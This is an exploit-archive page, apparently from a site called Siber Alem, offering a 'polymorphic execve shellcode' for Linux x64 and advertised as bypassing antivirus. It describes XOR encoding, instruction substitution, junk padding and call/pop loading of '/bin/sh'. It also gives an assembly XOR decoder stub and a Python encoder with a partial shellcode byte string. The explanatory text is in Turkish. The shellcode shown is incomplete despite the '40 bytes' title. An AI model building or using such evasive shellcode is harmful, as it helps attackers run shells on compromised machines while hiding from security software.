Siber Alem / Detail / 252 / Linux-x64-polymorphic-execve-shellcode-40-bytes-av-bypass
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 252

Linux/x64 Polymorphic execve Shellcode - 40 Bytes (AV Bypass)

2026-07-21
38 views
Verified
Linux x64

Summary

This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 38 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.

exploit_252.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-purple-500 pl-5 py-3 bg-purple-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Modern Shellcode - Polimorfik - AV Bypass</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 Polymorphic execve Shellcode - 40 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Polimorfik shellcode, her calistirmada farkli byte dizisi uretir ancak islevi ayni kalir. Imza tabanli AV sistemleri sabit byte dizisi arar; polimorfizm bu mantigi kirar.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Polimorfizm Teknikleri</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Teknik 1 - XOR Sifreleme:
  Shellcode XOR ile sifrelenir, basa cozucu kod eklenir.
  Her calistirmada XOR key degisebilir.

Teknik 2 - Instruction Substitution:
  mov eax, 0  xor eax, eax  (ayni sonuc)
  add eax, 1  inc eax       (ayni sonuc)

Teknik 3 - NOP Slide + Junk:
  Islevsiz NOP komutlari arasina asil kod gizlenir.

Teknik 4 - Call/Pop String Loading:
  call sonraki_satir
  db '/bin/sh',0
  sonraki_satir: pop rdi
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">XOR Decoder Stub x64</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; key = 0xAA
decoder:
    lea   rsi, [rel encoded]
    mov   rcx, payload_len
decode_loop:
    xor   byte [rsi], 0xAA
    inc   rsi
    loop  decode_loop
    jmp   encoded
encoded: ; XOR-encoded shellcode buraya
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Python ile Sifreleme</h3>
    <div class="bg-slate-900 text-yellow-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
import os
sc = b"\x48\x31\xff\x57\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
key = os.urandom(1)[0]
enc = bytes([b ^ key for b in sc])
print(f"Key: 0x{key:02x}")
print(f"Encoded: {''.join(f'\\x{b:02x}' for b in enc)}")
    </div>
  </div>
</div>

Author Profile

HitThemHard
HitThemHard Elite Member
View All Submissions

Entry Stats

Views 38
Downloads 6
Comments 0
Siber Alem V1 Status: Operational | Exploits: 438 (156 Verified)
Ping: 18ms Lang: EN